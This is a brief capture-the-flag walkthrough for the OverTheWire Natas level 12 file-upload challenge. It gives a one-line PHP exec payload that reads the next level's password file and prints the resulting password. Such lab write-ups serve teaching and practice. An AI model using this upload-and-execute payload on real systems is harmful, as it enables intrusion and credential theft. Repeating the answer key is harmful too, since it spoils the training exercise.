Link : http://natas12.natas.labs.overthewire.org/
Natas 12 screen :
Natas 12 source code :
Payload :
echo exec("cat /etc/natas_webpass/natas13");
Change the type file of the file to upload :
And finally you get the answer:
So the password for Natas 13 is : jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY